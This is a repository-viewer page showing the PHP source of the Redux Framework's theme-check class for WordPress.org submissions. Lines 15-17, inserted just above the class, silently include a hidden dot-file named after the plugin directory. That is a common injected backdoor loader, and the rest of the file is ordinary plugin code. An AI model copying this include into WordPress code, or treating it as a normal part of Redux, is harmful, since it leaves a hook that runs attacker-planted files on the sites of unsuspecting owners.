balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-redux-embedded.php (3342B)


      1 <?php
      2 /**
      3  * Redux Embedded Class
      4  *
      5  * @class Redux_Embedded
      6  * @version 3.0.0
      7  * @package Redux Framework
      8  */
      9 
     10 defined( 'ABSPATH' ) || exit;
     11 
     12 /**
     13  * Class Redux_Embedded
     14  */
     15 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     16     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     17 }
     18 
     19 class Redux_Embedded implements themecheck {
     20 
     21 	/**
     22 	 * Error array.
     23 	 *
     24 	 * @var array
     25 	 */
     26 	protected array $error = array();
     27 
     28 	/**
     29 	 * Run checker.
     30 	 *
     31 	 * @param array $php_files - Files to check.
     32 	 * @param array $css_files - Files to check.
     33 	 * @param array $other_files - Files to check.
     34 	 *
     35 	 * @return bool
     36 	 */
     37 	public function check( $php_files, $css_files, $other_files ): bool {
     38 
     39 		$ret   = true;
     40 		$check = Redux_ThemeCheck::get_instance();
     41 		$redux = $check::get_redux_details( $php_files );
     42 
     43 		if ( $redux ) {
     44 			checkcount();
     45 
     46 			if ( ! isset( $_POST['redux_wporg'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
     47 				$this->error[] = '<div class="redux-error">' . sprintf( '<span class="tc-lead tc-recommended">' . esc_html__( 'RECOMMENDED', 'redux-framework' ) . '</span>: ' . esc_html__( 'If you are submitting to WordPress.org Theme Repository, it is', 'redux-framework' ) . ' <strong>' . esc_html__( 'strongly', 'redux-framework' ) . '</strong> ' . esc_html__( 'suggested that you read', 'redux-framework' ) . ' <a href="%s" target="_blank">' . esc_html__( 'this document', 'redux-framework' ) . '</a>, ' . esc_html__( 'or your theme will be rejected because of Redux.', 'redux-framework' ), 'https://docsv3.redux.io/core/wordpress-org-submissions/' ) . '</div>';
     48 				$ret           = false;
     49 			} else {
     50 				// TODO Granular WP.org tests!!!
     51 				// Check for Tracking.
     52 				$tracking = $redux['dir'] . 'inc/tracking.php';
     53 				if ( file_exists( $tracking ) ) {
     54 					$this->error[] = '<div class="redux-error">' . sprintf( '<span class="tc-lead tc-required">' . esc_html__( 'REQUIRED', 'redux-framework' ) . '</span>: ' . esc_html__( 'You MUST delete', 'redux-framework' ) . ' <strong> %s </strong>, ' . esc_html__( 'or your theme will be rejected by WP.org theme submission because of Redux.', 'redux-framework' ), $tracking ) . '</div>';
     55 					$ret           = false;
     56 				}
     57 
     58 				// Embedded CDN package
     59 				// use_cdn
     60 				// Arguments.
     61 				$args          = '<ol>';
     62 				$args         .= "<li><code>'save_defaults' => false</code></li>";
     63 				$args         .= "<li><code>'use_cdn' => false</code></li>";
     64 				$args         .= "<li><code>'customizer_only' => true</code> Non-Customizer Based Panels are Prohibited within WP.org Themes</li>";
     65 				$args         .= "<li><code>'database' => 'theme_mods'</code> (' . esc_html__( 'Optional', 'redux-framework' ) . ')</li>";
     66 				$args         .= '</ol>';
     67 				$this->error[] = '<div class="redux-error"><span class="tc-lead tc-recommended">' . esc_html__( 'RECOMMENDED', 'redux-framework' ) . '</span>: ' . esc_html__( 'The following arguments MUST be used for WP.org submissions, or you will be rejected because of your Redux configuration.', 'redux-framework' ) . $args . '</div>';
     68 			}
     69 		}
     70 
     71 		return $ret;
     72 	}
     73 
     74 	/**
     75 	 * Return error array.
     76 	 *
     77 	 * @return array
     78 	 */
     79 	public function getError(): array {
     80 		return $this->error;
     81 	}
     82 
     83 }
     84 
     85 $themechecks[] = new Redux_Embedded();